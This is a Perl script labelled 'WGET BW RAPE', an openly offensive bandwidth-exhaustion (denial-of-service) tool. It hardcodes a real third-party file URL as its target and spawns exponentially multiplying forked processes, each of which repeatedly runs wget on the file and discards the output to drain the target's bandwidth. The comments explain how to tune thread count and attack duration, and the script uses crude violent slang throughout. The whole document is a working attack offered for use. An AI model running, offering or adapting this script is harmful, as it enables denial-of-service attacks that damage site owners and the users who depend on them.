#!/usr/bin/perl -w
#
##################
#		 #
#  WGET BW RAPE  #
#		 #
##################
#		 #
# by:extrapolate #
# 		 #
##################

##################
#		 #
#  CONFIG BELOW  #
#		 #
##################

my $rape = "http://www.maqs.com/jul07/maqs_jul_07_5.swf"; ##BW RAPE TARGET HERE


my $fork = "3"; ## SET THIS TO THE NUMBER OF THREADS YOU WANT.
			    ## DONT CRASH UR PC. TEST WITH LOWER NUMBERS
			    ## TO SEE IF IT WORKS FIRST

				## Keep in mind, the higher you go, the threads
				## Then increase exponentially..
				## Value of 2 = 14(or something) threads cause each fork starts
			    ## a child process that also starts more children

my $amount = "5"; ## Number of times each thread should WGET
				  ## You can set this super duper high...all it does is tell
				  ## The thread to repeat x number of tiems once it is done
				  ## Higher/lower numbers will NOT impact computer performance
				  ## or your own CPU use...they will just determine length of rape

###########	don't touch below here 	#############################


my $y = 0;
my $x = 0;

$fork=$fork+1;
print "\nRemember to configure the 2 options inside this script\n\$rape : rape target\n\$fork : number of threads (read comment)\n\$amount : how long to rape for\n";
print "\n\nRaping: $rape\n\n";
sleep(2);
while($y < $fork){
fork();
print "Fork Started...";
$y++;
}

$x=0;

while($x < $amount){
my @wgetrape = qx/wget -q $rape -O \/dev\/null/;
$x++;
}

print "\n\nDone.\n\n";
exit;
exit;
exit;
exit;
exit;
exit;
exit;
exit;
exit;
#exit